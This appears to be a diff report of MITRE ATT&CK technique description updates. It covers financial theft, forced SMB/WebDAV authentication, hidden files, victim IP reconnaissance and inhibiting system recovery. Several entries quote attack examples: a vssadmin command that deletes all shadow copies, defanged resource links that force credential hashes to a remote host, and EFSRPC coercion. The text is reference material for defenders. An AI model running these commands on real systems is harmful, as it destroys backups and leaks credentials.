| > | (https://attack.mitre.org/techniques/T1684/001) of a trusted | > | (https://attack.mitre.org/techniques/T1684/001) of a trusted | ||
| > | entity. Once the social engineering is successful, victims | > | entity. Once the social engineering is successful, victims | ||
| > | can be deceived into sending money to financial accounts con | > | can be deceived into sending money to financial accounts con | ||
| > | trolled by an adversary.(Citation: FBI-BEC) This creates the | > | trolled by an adversary.(Citation: FBI-BEC) This creates the | ||
| > | potential for multiple victims (i.e., compromised accounts | > | potential for multiple victims (i.e., compromised accounts | ||
| > | as well as the ultimate monetary loss) in incidents involvin | > | as well as the ultimate monetary loss) in incidents involvin | ||
| > | g financial theft.(Citation: VEC) Extortion by ransomware m | > | g financial theft.(Citation: VEC) Extortion by ransomware m | ||
| > | ay occur, for example, when an adversary demands payment fro | > | ay occur, for example, when an adversary demands payment fro | ||
| > | m a victim after [Data Encrypted for Impact](https://attack. | > | m a victim after [Data Encrypted for Impact](https://attack. | ||
| > | mitre.org/techniques/T1486) (Citation: NYT-Colonial) and [Ex | > | mitre.org/techniques/T1486)(Citation: NYT-Colonial) and [Exf | ||
| > | filtration](https://attack.mitre.org/tactics/TA0010) of data | > | iltration](https://attack.mitre.org/tactics/TA0010) of data, | ||
| > | , followed by threatening to leak sensitive data to the publ | > | followed by threatening to leak sensitive data to the publi | ||
| > | ic unless payment is made to the adversary.(Citation: Mandia | > | c unless payment is made to the adversary.(Citation: Mandian | ||
| > | nt-leaks) Adversaries may use dedicated leak sites to distri | > | t-leaks) Adversaries may use dedicated leak sites to distrib | ||
| > | bute victim data.(Citation: Crowdstrike-leaks) Due to the p | > | ute victim data.(Citation: Crowdstrike-leaks) Due to the po | ||
| > | otentially immense business impact of financial theft, an ad | > | tentially immense business impact of financial theft, an adv | ||
| > | versary may abuse the possibility of financial theft and see | > | ersary may abuse the possibility of financial theft and seek | ||
| > | king monetary gain to divert attention from their true goals | > | ing monetary gain to divert attention from their true goals | ||
| > | such as [Data Destruction](https://attack.mitre.org/techniq | > | such as [Data Destruction](https://attack.mitre.org/techniqu | ||
| > | ues/T1485) and business disruption.(Citation: AP-NotPetya) | > | es/T1485) and business disruption.(Citation: AP-NotPetya) | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2026-05-12 15:12:00.685000+00:00 | 2026-11-04 01:14:07.996000+00:00 |
| description | Adversaries may steal monetary resources from targets through extortion, social engineering, technical theft, or other methods aimed at their own financial gain at the expense of the availability of these resources for victims. Financial theft is the ultimate objective of several popular campaign types including extortion by ransomware,(Citation: FBI-ransomware) business email compromise (BEC) and fraud,(Citation: FBI-BEC) "pig butchering,"(Citation: wired-pig butchering) bank hacking,(Citation: DOJ-DPRK Heist) and exploiting cryptocurrency networks.(Citation: BBC-Ronin) Adversaries may [Compromise Accounts](https://attack.mitre.org/techniques/T1586) to conduct unauthorized transfers of funds.(Citation: Internet crime report 2022) In the case of business email compromise or email fraud, an adversary may utilize [Impersonation](https://attack.mitre.org/techniques/T1684/001) of a trusted entity. Once the social engineering is successful, victims can be deceived into sending money to financial accounts controlled by an adversary.(Citation: FBI-BEC) This creates the potential for multiple victims (i.e., compromised accounts as well as the ultimate monetary loss) in incidents involving financial theft.(Citation: VEC) Extortion by ransomware may occur, for example, when an adversary demands payment from a victim after [Data Encrypted for Impact](https://attack.mitre.org/techniques/T1486) (Citation: NYT-Colonial) and [Exfiltration](https://attack.mitre.org/tactics/TA0010) of data, followed by threatening to leak sensitive data to the public unless payment is made to the adversary.(Citation: Mandiant-leaks) Adversaries may use dedicated leak sites to distribute victim data.(Citation: Crowdstrike-leaks) Due to the potentially immense business impact of financial theft, an adversary may abuse the possibility of financial theft and seeking monetary gain to divert attention from their true goals such as [Data Destruction](https://attack.mitre.org/techniques/T1485) and business disruption.(Citation: AP-NotPetya) | Adversaries may steal monetary resources from targets through extortion, social engineering, technical theft, or other methods aimed at their own financial gain at the expense of the availability of these resources for victims. Financial theft is the ultimate objective of several popular campaign types including extortion by ransomware,(Citation: FBI-ransomware) business email compromise (BEC) and fraud,(Citation: FBI-BEC) "pig butchering,"(Citation: wired-pig butchering) bank hacking,(Citation: DOJ-DPRK Heist) and exploiting cryptocurrency networks.(Citation: BBC-Ronin) Adversaries may [Compromise Accounts](https://attack.mitre.org/techniques/T1586) to conduct unauthorized transfers of funds.(Citation: Internet crime report 2022) In the case of business email compromise or email fraud, an adversary may utilize [Impersonation](https://attack.mitre.org/techniques/T1684/001) of a trusted entity. Once the social engineering is successful, victims can be deceived into sending money to financial accounts controlled by an adversary.(Citation: FBI-BEC) This creates the potential for multiple victims (i.e., compromised accounts as well as the ultimate monetary loss) in incidents involving financial theft.(Citation: VEC) Extortion by ransomware may occur, for example, when an adversary demands payment from a victim after [Data Encrypted for Impact](https://attack.mitre.org/techniques/T1486)(Citation: NYT-Colonial) and [Exfiltration](https://attack.mitre.org/tactics/TA0010) of data, followed by threatening to leak sensitive data to the public unless payment is made to the adversary.(Citation: Mandiant-leaks) Adversaries may use dedicated leak sites to distribute victim data.(Citation: Crowdstrike-leaks) Due to the potentially immense business impact of financial theft, an adversary may abuse the possibility of financial theft and seeking monetary gain to divert attention from their true goals such as [Data Destruction](https://attack.mitre.org/techniques/T1485) and business disruption.(Citation: AP-NotPetya) |
Current version: 1.4
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may gather credential material by invoking or fo | t | 1 | Adversaries may gather credential material by invoking or fo |
| > | rcing a user to automatically provide authentication informa | > | rcing a user to automatically provide authentication informa | ||
| > | tion through a mechanism in which they can intercept. The S | > | tion through a mechanism in which they can intercept that in | ||
| > | erver Message Block (SMB) protocol is commonly used in Windo | > | formation. The Server Message Block (SMB) protocol is commo | ||
| > | ws networks for authentication and communication between sys | > | nly used in Windows networks for authentication and communic | ||
| > | tems for access to resources and file sharing. When a Window | > | ation between systems for access to resources and file shari | ||
| > | s system attempts to connect to an SMB resource it will auto | > | ng. When a Windows system attempts to connect to an SMB reso | ||
| > | matically attempt to authenticate and send credential inform | > | urce it will automatically attempt to authenticate and send | ||
| > | ation for the current user to the remote system.(Citation: W | > | credential information for the current user to the remote sy | ||
| > | ikipedia Server Message Block) This behavior is typical in e | > | stem.(Citation: Wikipedia Server Message Block) This behavio | ||
| > | nterprise environments so that users do not need to enter cr | > | r is typical in enterprise environments so that users do not | ||
| > | edentials to access network resources. Web Distributed Auth | > | need to enter credentials to access network resources. Web | ||
| > | oring and Versioning (WebDAV) is also typically used by Wind | > | Distributed Authoring and Versioning (WebDAV) is also typic | ||
| > | ows systems as a backup protocol when SMB is blocked or fail | > | ally used by Windows systems as a backup protocol when SMB i | ||
| > | s. WebDAV is an extension of HTTP and will typically operate | > | s blocked or fails. WebDAV is an extension of HTTP and will | ||
| > | over TCP ports 80 and 443.(Citation: Didier Stevens WebDAV | > | typically operate over TCP ports 80 and 443.(Citation: Didie | ||
| > | Traffic)(Citation: Microsoft Managing WebDAV Security) Adve | > | r Stevens WebDAV Traffic)(Citation: Microsoft Managing WebDA | ||
| > | rsaries may take advantage of this behavior to gain access t | > | V Security) Adversaries may take advantage of this behavior | ||
| > | o user account hashes through forced SMB/WebDAV authenticati | > | to gain access to user account hashes through forced SMB/We | ||
| > | on. An adversary can send an attachment to a user through sp | > | bDAV authentication. An adversary can send an attachment to | ||
| > | earphishing that contains a resource link to an external ser | > | a user through spearphishing that contains a resource link t | ||
| > | ver controlled by the adversary (i.e. [Template Injection]( | > | o an external server controlled by the adversary (i.e. [Tem | ||
| > | https://attack.mitre.org/techniques/T1221)), or place a spec | > | plate Injection](https://attack.mitre.org/techniques/T1221)) | ||
| > | ially crafted file on navigation path for privileged account | > | , or place a specially crafted file on navigation path for p | ||
| > | s (e.g. .SCF file placed on desktop) or on a publicly access | > | rivileged accounts (e.g. .SCF file placed on desktop) or on | ||
| > | ible share to be accessed by victim(s). When the user's syst | > | a publicly accessible share to be accessed by victim(s). Whe | ||
| > | em accesses the untrusted resource, it will attempt authenti | > | n the user's system accesses the untrusted resource, it will | ||
| > | cation and send information, including the user's hashed cre | > | attempt authentication and send information, including the | ||
| > | dentials, over SMB to the adversary-controlled server.(Citat | > | user's hashed credentials, over SMB to the adversary-control | ||
| > | ion: GitHub Hashjacking) With access to the credential hash, | > | led server.(Citation: GitHub Hashjacking) With access to the | ||
| > | an adversary can perform off-line [Brute Force](https://att | > | credential hash, an adversary can perform off-line [Brute F | ||
| > | ack.mitre.org/techniques/T1110) cracking to gain access to p | > | orce](https://attack.mitre.org/techniques/T1110) cracking to | ||
| > | laintext credentials.(Citation: Cylance Redirect to SMB) Th | > | gain access to plaintext credentials.(Citation: Cylance Red | ||
| > | ere are several different ways this can occur.(Citation: Osa | > | irect to SMB) There are several different ways this can occ | ||
| > | nda Stealing NetNTLM Hashes) Some specifics from in-the-wild | > | ur.(Citation: Osanda Stealing NetNTLM Hashes) Some specifics | ||
| > | use include: * A spearphishing attachment containing a doc | > | from in-the-wild use include: * A spearphishing attachment | ||
| > | ument with a resource that is automatically loaded when the | > | containing a document with a resource that is automatically | ||
| > | document is opened (i.e. [Template Injection](https://attack | > | loaded when the document is opened (i.e. [Template Injectio | ||
| > | .mitre.org/techniques/T1221)). The document can include, for | > | n](https://attack.mitre.org/techniques/T1221)). The document | ||
| > | example, a request similar to <code>file[:]//[remote addres | > | can include, for example, a request similar to <code>file[: | ||
| > | s]/Normal.dotm</code> to trigger the SMB request.(Citation: | > | ]//[remote address]/Normal.dotm</code> to trigger the SMB re | ||
| > | US-CERT APT Energy Oct 2017) * A modified .LNK or .SCF file | > | quest.(Citation: US-CERT APT Energy Oct 2017) * A modified . | ||
| > | with the icon filename pointing to an external reference suc | > | LNK or .SCF file with the icon filename pointing to an exter | ||
| > | h as <code>\\[remote address]\pic.png</code> that will force | > | nal reference such as <code>\\[remote address]\pic.png</code | ||
| > | the system to load the resource when the icon is rendered t | > | > that will force the system to load the resource when the i | ||
| > | o repeatedly gather credentials.(Citation: US-CERT APT Energ | > | con is rendered to repeatedly gather credentials.(Citation: | ||
| > | y Oct 2017) Alternatively, by leveraging the <code>EfsRpcOp | > | US-CERT APT Energy Oct 2017) Alternatively, by leveraging t | ||
| > | enFileRaw</code> function, an adversary can send SMB request | > | he <code>EfsRpcOpenFileRaw</code> function, an adversary can | ||
| > | s to a remote system's MS-EFSRPC interface and force the vic | > | send SMB requests to a remote system's MS-EFSRPC interface | ||
| > | tim computer to initiate an authentication procedure and sha | > | and force the victim computer to initiate an authentication | ||
| > | re its authentication details. The Encrypting File System Re | > | procedure and share its authentication details. The Encrypti | ||
| > | mote Protocol (EFSRPC) is a protocol used in Windows network | > | ng File System Remote Protocol (EFSRPC) is a protocol used i | ||
| > | s for maintenance and management operations on encrypted dat | > | n Windows networks for maintenance and management operations | ||
| > | a that is stored remotely to be accessed over a network. Uti | > | on encrypted data that is stored remotely to be accessed ov | ||
| > | lization of <code>EfsRpcOpenFileRaw</code> function in EFSRP | > | er a network. Utilization of <code>EfsRpcOpenFileRaw</code> | ||
| > | C is used to open an encrypted object on the server for back | > | function in EFSRPC is used to open an encrypted object on th | ||
| > | up or restore. Adversaries can collect this data and abuse i | > | e server for backup or restore. Adversaries can collect this | ||
| > | t as part of a NTLM relay attack to gain access to remote sy | > | data and abuse it as part of an NTLM relay attack to gain a | ||
| > | stems on the same internal network.(Citation: Rapid7)(Citati | > | ccess to remote systems on the same internal network.(Citati | ||
| > | on: GitHub) | > | on: Rapid7)(Citation: GitHub) | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-10-24 17:49:16.134000+00:00 | 2026-11-03 23:21:12.635000+00:00 |
| description | Adversaries may gather credential material by invoking or forcing a user to automatically provide authentication information through a mechanism in which they can intercept.
The Server Message Block (SMB) protocol is commonly used in Windows networks for authentication and communication between systems for access to resources and file sharing. When a Windows system attempts to connect to an SMB resource it will automatically attempt to authenticate and send credential information for the current user to the remote system.(Citation: Wikipedia Server Message Block) This behavior is typical in enterprise environments so that users do not need to enter credentials to access network resources.
Web Distributed Authoring and Versioning (WebDAV) is also typically used by Windows systems as a backup protocol when SMB is blocked or fails. WebDAV is an extension of HTTP and will typically operate over TCP ports 80 and 443.(Citation: Didier Stevens WebDAV Traffic)(Citation: Microsoft Managing WebDAV Security)
Adversaries may take advantage of this behavior to gain access to user account hashes through forced SMB/WebDAV authentication. An adversary can send an attachment to a user through spearphishing that contains a resource link to an external server controlled by the adversary (i.e. [Template Injection](https://attack.mitre.org/techniques/T1221)), or place a specially crafted file on navigation path for privileged accounts (e.g. .SCF file placed on desktop) or on a publicly accessible share to be accessed by victim(s). When the user's system accesses the untrusted resource, it will attempt authentication and send information, including the user's hashed credentials, over SMB to the adversary-controlled server.(Citation: GitHub Hashjacking) With access to the credential hash, an adversary can perform off-line [Brute Force](https://attack.mitre.org/techniques/T1110) cracking to gain access to plaintext credentials.(Citation: Cylance Redirect to SMB)
There are several different ways this can occur.(Citation: Osanda Stealing NetNTLM Hashes) Some specifics from in-the-wild use include:
* A spearphishing attachment containing a document with a resource that is automatically loaded when the document is opened (i.e. [Template Injection](https://attack.mitre.org/techniques/T1221)). The document can include, for example, a request similar to file[:]//[remote address]/Normal.dotm to trigger the SMB request.(Citation: US-CERT APT Energy Oct 2017)
* A modified .LNK or .SCF file with the icon filename pointing to an external reference such as \\[remote address]\pic.png that will force the system to load the resource when the icon is rendered to repeatedly gather credentials.(Citation: US-CERT APT Energy Oct 2017)
Alternatively, by leveraging the EfsRpcOpenFileRaw function, an adversary can send SMB requests to a remote system's MS-EFSRPC interface and force the victim computer to initiate an authentication procedure and share its authentication details. The Encrypting File System Remote Protocol (EFSRPC) is a protocol used in Windows networks for maintenance and management operations on encrypted data that is stored remotely to be accessed over a network. Utilization of EfsRpcOpenFileRaw function in EFSRPC is used to open an encrypted object on the server for backup or restore. Adversaries can collect this data and abuse it as part of a NTLM relay attack to gain access to remote systems on the same internal network.(Citation: Rapid7)(Citation: GitHub)
| Adversaries may gather credential material by invoking or forcing a user to automatically provide authentication information through a mechanism in which they can intercept that information.
The Server Message Block (SMB) protocol is commonly used in Windows networks for authentication and communication between systems for access to resources and file sharing. When a Windows system attempts to connect to an SMB resource it will automatically attempt to authenticate and send credential information for the current user to the remote system.(Citation: Wikipedia Server Message Block) This behavior is typical in enterprise environments so that users do not need to enter credentials to access network resources.
Web Distributed Authoring and Versioning (WebDAV) is also typically used by Windows systems as a backup protocol when SMB is blocked or fails. WebDAV is an extension of HTTP and will typically operate over TCP ports 80 and 443.(Citation: Didier Stevens WebDAV Traffic)(Citation: Microsoft Managing WebDAV Security)
Adversaries may take advantage of this behavior to gain access to user account hashes through forced SMB/WebDAV authentication. An adversary can send an attachment to a user through spearphishing that contains a resource link to an external server controlled by the adversary (i.e. [Template Injection](https://attack.mitre.org/techniques/T1221)), or place a specially crafted file on navigation path for privileged accounts (e.g. .SCF file placed on desktop) or on a publicly accessible share to be accessed by victim(s). When the user's system accesses the untrusted resource, it will attempt authentication and send information, including the user's hashed credentials, over SMB to the adversary-controlled server.(Citation: GitHub Hashjacking) With access to the credential hash, an adversary can perform off-line [Brute Force](https://attack.mitre.org/techniques/T1110) cracking to gain access to plaintext credentials.(Citation: Cylance Redirect to SMB)
There are several different ways this can occur.(Citation: Osanda Stealing NetNTLM Hashes) Some specifics from in-the-wild use include:
* A spearphishing attachment containing a document with a resource that is automatically loaded when the document is opened (i.e. [Template Injection](https://attack.mitre.org/techniques/T1221)). The document can include, for example, a request similar to file[:]//[remote address]/Normal.dotm to trigger the SMB request.(Citation: US-CERT APT Energy Oct 2017)
* A modified .LNK or .SCF file with the icon filename pointing to an external reference such as \\[remote address]\pic.png that will force the system to load the resource when the icon is rendered to repeatedly gather credentials.(Citation: US-CERT APT Energy Oct 2017)
Alternatively, by leveraging the EfsRpcOpenFileRaw function, an adversary can send SMB requests to a remote system's MS-EFSRPC interface and force the victim computer to initiate an authentication procedure and share its authentication details. The Encrypting File System Remote Protocol (EFSRPC) is a protocol used in Windows networks for maintenance and management operations on encrypted data that is stored remotely to be accessed over a network. Utilization of EfsRpcOpenFileRaw function in EFSRPC is used to open an encrypted object on the server for backup or restore. Adversaries can collect this data and abuse it as part of an NTLM relay attack to gain access to remote systems on the same internal network.(Citation: Rapid7)(Citation: GitHub)
|
Current version: 2.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may set files and directories to be hidden to ev | t | 1 | Adversaries may set files and directories to be hidden to ev |
| > | ade detection mechanisms. To prevent normal users from accid | > | ade detection mechanisms. To prevent normal users from accid | ||
| > | entally changing special files on a system, most operating s | > | entally changing special files on a system, most operating s | ||
| > | ystems have the concept of a ‘hidden’ file. These files don’ | > | ystems have the concept of a ‘hidden’ file. These files don’ | ||
| > | t show up when a user browses the file system with a GUI or | > | t show up when a user browses the file system with a GUI or | ||
| > | when using normal commands on the command line. Users must e | > | when using normal commands on the command line. Users must e | ||
| > | xplicitly ask to show the hidden files either via a series o | > | xplicitly ask to show the hidden files either via a series o | ||
| > | f Graphical User Interface (GUI) prompts or with command lin | > | f Graphical User Interface (GUI) prompts or with command lin | ||
| > | e switches (<code>dir /a</code> for Windows and <code>ls –a< | > | e switches (<code>dir /a</code> for Windows and <code>ls –a< | ||
| > | /code> for Linux and macOS). On Linux and Mac, users can ma | > | /code> for Linux and macOS). On Linux and Mac, users can ma | ||
| > | rk specific files as hidden simply by putting a “.” as the f | > | rk specific files as hidden simply by putting a “.” as the f | ||
| > | irst character in the file or folder name (Citation: Sofacy | > | irst character in the file or folder name.(Citation: Sofacy | ||
| > | Komplex Trojan) (Citation: Antiquated Mac Malware). Files a | > | Komplex Trojan)(Citation: Antiquated Mac Malware) Files and | ||
| > | nd folders that start with a period, ‘.’, are by default hid | > | folders that start with a period, ‘.’, are by default hidden | ||
| > | den from being viewed in the Finder application and standard | > | from being viewed in the Finder application and standard co | ||
| > | command-line utilities like “ls”. Users must specifically c | > | mmand-line utilities like “ls”. Users must specifically chan | ||
| > | hange settings to have these files viewable. Files on macOS | > | ge settings to have these files viewable. Files on macOS ca | ||
| > | can also be marked with the UF_HIDDEN flag which prevents t | > | n also be marked with the UF_HIDDEN flag which prevents them | ||
| > | hem from being seen in Finder.app, but still allows them to | > | from being seen in Finder.app, but still allows them to be | ||
| > | be seen in Terminal.app (Citation: WireLurker). On Windows, | > | seen in Terminal.app.(Citation: WireLurker) On Windows, user | ||
| > | users can mark specific files as hidden by using the attrib. | > | s can mark specific files as hidden by using the attrib.exe | ||
| > | exe binary. Many applications create these hidden files and | > | binary. Many applications create these hidden files and fold | ||
| > | folders to store information so that it doesn’t clutter up t | > | ers to store information so that it doesn’t clutter up the u | ||
| > | he user’s workspace. For example, SSH utilities create a .ss | > | ser’s workspace. For example, SSH utilities create a .ssh fo | ||
| > | h folder that’s hidden and contains the user’s known hosts a | > | lder that’s hidden and contains the user’s known hosts and k | ||
| > | nd keys. Additionally, adversaries may name files in a mann | > | eys. Additionally, adversaries may name files in a manner t | ||
| > | er that would allow the file to be hidden such as naming a f | > | hat would allow the file to be hidden such as naming a file | ||
| > | ile only a “space” character. Adversaries can use this to t | > | only a “space” character. Adversaries can use this to their | ||
| > | heir advantage to hide files and folders anywhere on the sys | > | advantage to hide files and folders anywhere on the system | ||
| > | tem and evading a typical user or system analysis that does | > | and evading a typical user or system analysis that does not | ||
| > | not incorporate investigation of hidden files. | > | incorporate investigation of hidden files. | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2026-05-12 15:12:00.723000+00:00 | 2026-11-04 01:01:51.368000+00:00 |
| description | Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches (dir /a for Windows and ls –a for Linux and macOS).
On Linux and Mac, users can mark specific files as hidden simply by putting a “.” as the first character in the file or folder name (Citation: Sofacy Komplex Trojan) (Citation: Antiquated Mac Malware). Files and folders that start with a period, ‘.’, are by default hidden from being viewed in the Finder application and standard command-line utilities like “ls”. Users must specifically change settings to have these files viewable.
Files on macOS can also be marked with the UF_HIDDEN flag which prevents them from being seen in Finder.app, but still allows them to be seen in Terminal.app (Citation: WireLurker). On Windows, users can mark specific files as hidden by using the attrib.exe binary. Many applications create these hidden files and folders to store information so that it doesn’t clutter up the user’s workspace. For example, SSH utilities create a .ssh folder that’s hidden and contains the user’s known hosts and keys.
Additionally, adversaries may name files in a manner that would allow the file to be hidden such as naming a file only a “space” character.
Adversaries can use this to their advantage to hide files and folders anywhere on the system and evading a typical user or system analysis that does not incorporate investigation of hidden files. | Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches (dir /a for Windows and ls –a for Linux and macOS).
On Linux and Mac, users can mark specific files as hidden simply by putting a “.” as the first character in the file or folder name.(Citation: Sofacy Komplex Trojan)(Citation: Antiquated Mac Malware) Files and folders that start with a period, ‘.’, are by default hidden from being viewed in the Finder application and standard command-line utilities like “ls”. Users must specifically change settings to have these files viewable.
Files on macOS can also be marked with the UF_HIDDEN flag which prevents them from being seen in Finder.app, but still allows them to be seen in Terminal.app.(Citation: WireLurker) On Windows, users can mark specific files as hidden by using the attrib.exe binary. Many applications create these hidden files and folders to store information so that it doesn’t clutter up the user’s workspace. For example, SSH utilities create a .ssh folder that’s hidden and contains the user’s known hosts and keys.
Additionally, adversaries may name files in a manner that would allow the file to be hidden such as naming a file only a “space” character.
Adversaries can use this to their advantage to hide files and folders anywhere on the system and evading a typical user or system analysis that does not incorporate investigation of hidden files. |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may gather the victim's IP addresses that can be | t | 1 | Adversaries may gather the victim's IP addresses that can be |
| > | used during targeting. Public IP addresses may be allocated | > | used during targeting. Public IP addresses may be allocated | ||
| > | to organizations by block, or a range of sequential address | > | to organizations by block, or a range of sequential address | ||
| > | es. Information about assigned IP addresses may include a va | > | es. Information about assigned IP addresses may include a va | ||
| > | riety of details, such as which IP addresses are in use. IP | > | riety of details, such as which IP addresses are in use. IP | ||
| > | addresses may also enable an adversary to derive other detai | > | addresses may also enable an adversary to derive other detai | ||
| > | ls about a victim, such as organizational size, physical loc | > | ls about a victim, such as organizational size, physical loc | ||
| > | ation(s), Internet service provider, and or where/how their | > | ation(s), Internet service provider, and where/how their pub | ||
| > | publicly-facing infrastructure is hosted. Adversaries may g | > | licly-facing infrastructure is hosted. Adversaries may gath | ||
| > | ather this information in various ways, such as direct colle | > | er this information in various ways, such as direct collecti | ||
| > | ction actions via [Active Scanning](https://attack.mitre.org | > | on actions via [Active Scanning](https://attack.mitre.org/te | ||
| > | /techniques/T1595) or [Phishing for Information](https://att | > | chniques/T1595) or [Phishing for Information](https://attack | ||
| > | ack.mitre.org/techniques/T1598). Information about assigned | > | .mitre.org/techniques/T1598). Information about assigned IP | ||
| > | IP addresses may also be exposed to adversaries via online o | > | addresses may also be exposed to adversaries via online or o | ||
| > | r other accessible data sets (ex: [Search Open Technical Dat | > | ther accessible data sets (ex: [Search Open Technical Databa | ||
| > | abases](https://attack.mitre.org/techniques/T1596)).(Citatio | > | ses](https://attack.mitre.org/techniques/T1596)).(Citation: | ||
| > | n: WHOIS)(Citation: DNS Dumpster)(Citation: Circl Passive DN | > | WHOIS)(Citation: DNS Dumpster)(Citation: Circl Passive DNS) | ||
| > | S) Gathering this information may reveal opportunities for o | > | Gathering this information may reveal opportunities for othe | ||
| > | ther forms of reconnaissance (ex: [Active Scanning](https:// | > | r forms of reconnaissance (ex: [Active Scanning](https://att | ||
| > | attack.mitre.org/techniques/T1595) or [Search Open Websites/ | > | ack.mitre.org/techniques/T1595) or [Search Open Websites/Dom | ||
| > | Domains](https://attack.mitre.org/techniques/T1593)), establ | > | ains](https://attack.mitre.org/techniques/T1593)), establish | ||
| > | ishing operational resources (ex: [Acquire Infrastructure](h | > | ing operational resources (ex: [Acquire Infrastructure](http | ||
| > | ttps://attack.mitre.org/techniques/T1583) or [Compromise Inf | > | s://attack.mitre.org/techniques/T1583) or [Compromise Infras | ||
| > | rastructure](https://attack.mitre.org/techniques/T1584)), an | > | tructure](https://attack.mitre.org/techniques/T1584)), and/o | ||
| > | d/or initial access (ex: [External Remote Services](https:// | > | r initial access (ex: [External Remote Services](https://att | ||
| > | attack.mitre.org/techniques/T1133)). | > | ack.mitre.org/techniques/T1133)). | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-10-24 17:48:23.845000+00:00 | 2026-11-03 23:52:49.922000+00:00 |
| description | Adversaries may gather the victim's IP addresses that can be used during targeting. Public IP addresses may be allocated to organizations by block, or a range of sequential addresses. Information about assigned IP addresses may include a variety of details, such as which IP addresses are in use. IP addresses may also enable an adversary to derive other details about a victim, such as organizational size, physical location(s), Internet service provider, and or where/how their publicly-facing infrastructure is hosted. Adversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about assigned IP addresses may also be exposed to adversaries via online or other accessible data sets (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)).(Citation: WHOIS)(Citation: DNS Dumpster)(Citation: Circl Passive DNS) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133)). | Adversaries may gather the victim's IP addresses that can be used during targeting. Public IP addresses may be allocated to organizations by block, or a range of sequential addresses. Information about assigned IP addresses may include a variety of details, such as which IP addresses are in use. IP addresses may also enable an adversary to derive other details about a victim, such as organizational size, physical location(s), Internet service provider, and where/how their publicly-facing infrastructure is hosted. Adversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about assigned IP addresses may also be exposed to adversaries via online or other accessible data sets (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)).(Citation: WHOIS)(Citation: DNS Dumpster)(Citation: Circl Passive DNS) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133)). |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
Current version: 1.0
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2026-10-12 19:53:57.228000+00:00 | 2026-11-03 15:39:54.216000+00:00 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | Ben Smith, @cmdaltr |
Current version: 1.6
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may delete or remove built-in data and turn off | t | 1 | Adversaries may delete or remove built-in data and turn off |
| > | services designed to aid in the recovery of a corrupted syst | > | services designed to aid in the recovery of a corrupted syst | ||
| > | em to prevent recovery.(Citation: Talos Olympic Destroyer 20 | > | em to prevent recovery.(Citation: Talos Olympic Destroyer 20 | ||
| > | 18)(Citation: FireEye WannaCry 2017) This may deny access to | > | 18)(Citation: FireEye WannaCry 2017) This may deny access to | ||
| > | available backups and recovery options. Operating systems | > | available backups and recovery options. Operating systems | ||
| > | may contain features that can help fix corrupted systems, su | > | may contain features that can help fix corrupted systems, su | ||
| > | ch as a backup catalog, volume shadow copies, and automatic | > | ch as a backup catalog, volume shadow copies, and automatic | ||
| > | repair features. Adversaries may disable or delete system re | > | repair features. Adversaries may disable or delete system re | ||
| > | covery features to augment the effects of [Data Destruction] | > | covery features to augment the effects of [Data Destruction] | ||
| > | (https://attack.mitre.org/techniques/T1485) and [Data Encryp | > | (https://attack.mitre.org/techniques/T1485) and [Data Encryp | ||
| > | ted for Impact](https://attack.mitre.org/techniques/T1486).( | > | ted for Impact](https://attack.mitre.org/techniques/T1486).( | ||
| > | Citation: Talos Olympic Destroyer 2018)(Citation: FireEye Wa | > | Citation: Talos Olympic Destroyer 2018)(Citation: FireEye Wa | ||
| > | nnaCry 2017) Furthermore, adversaries may disable recovery n | > | nnaCry 2017) Furthermore, adversaries may disable recovery n | ||
| > | otifications, then corrupt backups.(Citation: disable_notif_ | > | otifications, then corrupt backups.(Citation: disable_notif_ | ||
| > | synology_ransom) A number of native Windows utilities have | > | synology_ransom) A number of native Windows utilities have | ||
| > | been used by adversaries to disable or delete system recover | > | been used by adversaries to disable or delete system recover | ||
| > | y features: * <code>vssadmin.exe</code> can be used to dele | > | y features: * <code>vssadmin.exe</code> can be used to dele | ||
| > | te all volume shadow copies on a system - <code>vssadmin.exe | > | te all volume shadow copies on a system - <code>vssadmin.exe | ||
| > | delete shadows /all /quiet</code> * [Windows Management Ins | > | delete shadows /all /quiet</code> * [Windows Management Ins | ||
| > | trumentation](https://attack.mitre.org/techniques/T1047) can | > | trumentation](https://attack.mitre.org/techniques/T1047) can | ||
